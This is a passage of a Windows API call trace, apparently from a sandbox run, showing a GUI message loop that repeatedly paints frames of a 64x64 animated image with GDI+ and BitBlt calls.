lpRect=0x0, bErase=1) returned 1 [0150.685] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0150.685] IsWindowUnicode (hWnd=0x2031e) returned 1 [0150.685] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0150.685] TranslateMessage (lpMsg=0x15e910) returned 0 [0150.685] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0150.685] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0150.686] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0150.686] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff8d0107cb [0150.686] SelectObject (hdc=0xffffffff8d0107cb, h=0x1a05067e) returned 0x185000f [0150.686] GdipCreateFromHDC (hdc=0xffffffff8d0107cb, graphics=0x15daf0) returned 0x0 [0150.686] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0150.686] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0150.686] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0150.686] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0150.686] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0150.686] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0150.686] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0150.687] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0150.687] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.687] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0150.687] GdipCreateRegion (region=0x15dc20) returned 0x0 [0150.687] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0150.687] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0150.687] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0150.688] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0150.688] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0150.688] GetSystemMetrics (nIndex=42) returned 0 [0150.688] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0150.688] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0150.688] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0150.688] CoTaskMemFree (pv=0x1e91eca0) [0150.688] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0150.688] GdipCreateRegion (region=0x15d710) returned 0x0 [0150.688] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0150.688] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0150.688] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0150.688] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0150.688] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0150.688] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0150.689] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0150.689] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0150.689] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0150.689] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0150.689] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0150.689] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.689] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0150.690] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0150.690] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0150.690] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0150.690] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.690] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0150.690] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0150.690] GetCurrentObject (hdc=0xffffffff8d0107cb, type=0x1) returned 0x1b00017 [0150.690] GetCurrentObject (hdc=0xffffffff8d0107cb, type=0x2) returned 0x1900010 [0150.690] GetCurrentObject (hdc=0xffffffff8d0107cb, type=0x7) returned 0x1a05067e [0150.690] GetCurrentObject (hdc=0xffffffff8d0107cb, type=0x6) returned 0x18a002e [0150.690] SaveDC (hdc=0xffffffff8d0107cb) returned 1 [0150.691] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffc7040b8a [0150.691] GetClipRgn (hdc=0xffffffff8d0107cb, hrgn=0xffffffffc7040b8a) returned 0 [0150.691] SelectClipRgn (hdc=0xffffffff8d0107cb, hrgn=0xfffffffff70407c3) returned 2 [0150.691] DeleteObject (ho=0xffffffffc7040b8a) returned 1 [0150.691] DeleteObject (ho=0xfffffffff70407c3) returned 1 [0150.691] OffsetViewportOrgEx (in: hdc=0xffffffff8d0107cb, x=0, y=0, lppt=0x26fb3d8 | out: lppt=0x26fb3d8) returned 1 [0150.691] GetNearestColor (hdc=0xffffffff8d0107cb, color=0xffffff) returned 0xffffff [0150.691] CreateSolidBrush (color=0xffffff) returned 0xffffffffcf100190 [0150.691] FillRect (hDC=0xffffffff8d0107cb, lprc=0x15d7c0, hbr=0xffffffffcf100190) returned 1 [0150.691] DeleteObject (ho=0xffffffffcf100190) returned 1 [0150.691] RestoreDC (hdc=0xffffffff8d0107cb, nSavedDC=-1) returned 1 [0150.692] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.692] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff8d0107cb) returned 0x0 [0150.692] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc480dbd) returned 0x0 [0150.692] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.692] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0150.692] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0150.692] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0150.692] GetSystemMetrics (nIndex=42) returned 0 [0150.692] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0150.692] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0150.692] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0150.692] CoTaskMemFree (pv=0x1e91eca0) [0150.692] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x2) returned 0x0 [0150.694] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0150.694] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0150.694] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0150.694] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0150.694] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff8d0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0150.694] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.694] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff8d0107cb) returned 0x0 [0150.694] SelectObject (hdc=0xffffffff8d0107cb, h=0x185000f) returned 0x1a05067e [0150.695] DeleteDC (hdc=0xffffffff8d0107cb) returned 1 [0150.695] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.695] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0150.695] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0150.695] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0150.695] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0150.695] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0150.695] WaitMessage () returned 1 [0151.106] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0151.106] IsWindowUnicode (hWnd=0x2031e) returned 1 [0151.106] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0151.106] TranslateMessage (lpMsg=0x15e910) returned 0 [0151.106] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0151.106] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0151.106] GetCurrentThreadId () returned 0xec0 [0151.107] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0151.107] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0151.107] IsWindowUnicode (hWnd=0x2031e) returned 1 [0151.107] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0151.107] TranslateMessage (lpMsg=0x15e910) returned 0 [0151.107] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0151.107] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0151.107] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0151.107] CreateCompatibleDC (hdc=0x3010b83) returned 0x2b0106c6 [0151.107] SelectObject (hdc=0x2b0106c6, h=0x1a05067e) returned 0x185000f [0151.107] GdipCreateFromHDC (hdc=0x2b0106c6, graphics=0x15daf0) returned 0x0 [0151.107] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0151.107] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0151.107] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0151.107] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0151.107] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0151.108] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0151.108] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0151.108] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0151.108] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.108] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0151.108] GdipCreateRegion (region=0x15dc20) returned 0x0 [0151.109] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0151.109] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0151.109] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0151.109] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0151.109] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0151.109] GetSystemMetrics (nIndex=42) returned 0 [0151.109] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0151.109] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0151.109] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0151.109] CoTaskMemFree (pv=0x1e91eca0) [0151.109] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0151.109] GdipCreateRegion (region=0x15d710) returned 0x0 [0151.109] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0151.109] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0151.109] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0151.110] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0151.110] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0151.110] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0151.110] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0151.110] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0151.111] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0151.111] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0151.111] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0151.111] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.111] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0151.111] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0151.111] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0151.111] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0151.111] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.111] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0151.111] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0151.112] GetCurrentObject (hdc=0x2b0106c6, type=0x1) returned 0x1b00017 [0151.112] GetCurrentObject (hdc=0x2b0106c6, type=0x2) returned 0x1900010 [0151.112] GetCurrentObject (hdc=0x2b0106c6, type=0x7) returned 0x1a05067e [0151.112] GetCurrentObject (hdc=0x2b0106c6, type=0x6) returned 0x18a002e [0151.112] SaveDC (hdc=0x2b0106c6) returned 1 [0151.112] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffff80407c3 [0151.112] GetClipRgn (hdc=0x2b0106c6, hrgn=0xfffffffff80407c3) returned 0 [0151.112] SelectClipRgn (hdc=0x2b0106c6, hrgn=0xffffffffc8040b8a) returned 2 [0151.112] DeleteObject (ho=0xfffffffff80407c3) returned 1 [0151.112] DeleteObject (ho=0xffffffffc8040b8a) returned 1 [0151.112] OffsetViewportOrgEx (in: hdc=0x2b0106c6, x=0, y=0, lppt=0x26fc6e0 | out: lppt=0x26fc6e0) returned 1 [0151.113] GetNearestColor (hdc=0x2b0106c6, color=0xffffff) returned 0xffffff [0151.113] CreateSolidBrush (color=0xffffff) returned 0xffffffffd0100190 [0151.113] FillRect (hDC=0x2b0106c6, lprc=0x15d7c0, hbr=0xffffffffd0100190) returned 1 [0151.113] DeleteObject (ho=0xffffffffd0100190) returned 1 [0151.113] RestoreDC (hdc=0x2b0106c6, nSavedDC=-1) returned 1 [0151.113] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.113] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2b0106c6) returned 0x0 [0151.113] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc460dbd) returned 0x0 [0151.113] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.113] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0151.113] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0151.113] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0151.113] GetSystemMetrics (nIndex=42) returned 0 [0151.113] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0151.113] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0151.114] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0151.114] CoTaskMemFree (pv=0x1e91eca0) [0151.114] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0151.114] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0151.114] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0151.114] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0151.114] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2b0106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0151.114] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.114] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2b0106c6) returned 0x0 [0151.114] SelectObject (hdc=0x2b0106c6, h=0x185000f) returned 0x1a05067e [0151.114] DeleteDC (hdc=0x2b0106c6) returned 1 [0151.114] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.114] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0151.114] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0151.115] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0151.115] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0151.115] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0151.115] WaitMessage () returned 1 [0151.588] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0151.588] IsWindowUnicode (hWnd=0x2031e) returned 1 [0151.588] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0151.588] TranslateMessage (lpMsg=0x15e910) returned 0 [0151.588] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0151.589] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0151.589] GetCurrentThreadId () returned 0xec0 [0151.589] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0151.589] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0151.589] IsWindowUnicode (hWnd=0x2031e) returned 1 [0151.589] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0151.589] TranslateMessage (lpMsg=0x15e910) returned 0 [0151.589] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0151.589] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0151.589] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0151.589] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffffb10107cb [0151.589] SelectObject (hdc=0xffffffffb10107cb, h=0x1a05067e) returned 0x185000f [0151.589] GdipCreateFromHDC (hdc=0xffffffffb10107cb, graphics=0x15daf0) returned 0x0 [0151.589] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0151.590] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0151.590] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0151.590] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0151.590] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0151.590] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0151.590] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0151.590] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0151.590] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.591] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0151.591] GdipCreateRegion (region=0x15dc20) returned 0x0 [0151.591] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0151.591] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0151.591] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0151.591] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0151.591] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0151.591] GetSystemMetrics (nIndex=42) returned 0 [0151.591] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0151.591] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0151.591] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0151.591] CoTaskMemFree (pv=0x1e91eca0) [0151.591] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0151.592] GdipCreateRegion (region=0x15d710) returned 0x0 [0151.592] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0151.592] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0151.592] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0151.592] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0151.592] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0151.592] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0151.592] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0151.592] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0151.593] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0151.593] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0151.593] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0151.593] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.593] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0151.593] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0151.593] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0151.593] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0151.593] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.594] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0151.594] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0151.594] GetCurrentObject (hdc=0xffffffffb10107cb, type=0x1) returned 0x1b00017 [0151.594] GetCurrentObject (hdc=0xffffffffb10107cb, type=0x2) returned 0x1900010 [0151.594] GetCurrentObject (hdc=0xffffffffb10107cb, type=0x7) returned 0x1a05067e [0151.594] GetCurrentObject (hdc=0xffffffffb10107cb, type=0x6) returned 0x18a002e [0151.594] SaveDC (hdc=0xffffffffb10107cb) returned 1 [0151.594] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffc9040b8a [0151.594] GetClipRgn (hdc=0xffffffffb10107cb, hrgn=0xffffffffc9040b8a) returned 0 [0151.594] SelectClipRgn (hdc=0xffffffffb10107cb, hrgn=0xfffffffff90407c3) returned 2 [0151.594] DeleteObject (ho=0xffffffffc9040b8a) returned 1 [0151.594] DeleteObject (ho=0xfffffffff90407c3) returned 1 [0151.595] OffsetViewportOrgEx (in: hdc=0xffffffffb10107cb, x=0, y=0, lppt=0x26fd018 | out: lppt=0x26fd018) returned 1 [0151.595] GetNearestColor (hdc=0xffffffffb10107cb, color=0xffffff) returned 0xffffff [0151.595] CreateSolidBrush (color=0xffffff) returned 0xffffffffd1100190 [0151.595] FillRect (hDC=0xffffffffb10107cb, lprc=0x15d7c0, hbr=0xffffffffd1100190) returned 1 [0151.595] DeleteObject (ho=0xffffffffd1100190) returned 1 [0151.595] RestoreDC (hdc=0xffffffffb10107cb, nSavedDC=-1) returned 1 [0151.595] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.595] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffffb10107cb) returned 0x0 [0151.595] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc440dbd) returned 0x0 [0151.595] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.595] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0151.595] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0151.595] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0151.595] GetSystemMetrics (nIndex=42) returned 0 [0151.595] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0151.596] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0151.596] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0151.596] CoTaskMemFree (pv=0x1e91eca0) [0151.596] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x4) returned 0x0 [0151.598] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0151.598] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0151.598] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0151.598] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0151.598] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffffb10107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0151.598] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.598] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffffb10107cb) returned 0x0 [0151.598] SelectObject (hdc=0xffffffffb10107cb, h=0x185000f) returned 0x1a05067e [0151.598] DeleteDC (hdc=0xffffffffb10107cb) returned 1 [0151.599] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.599] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0151.599] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0151.599] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0151.599] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0151.599] PeekMessageW (in: 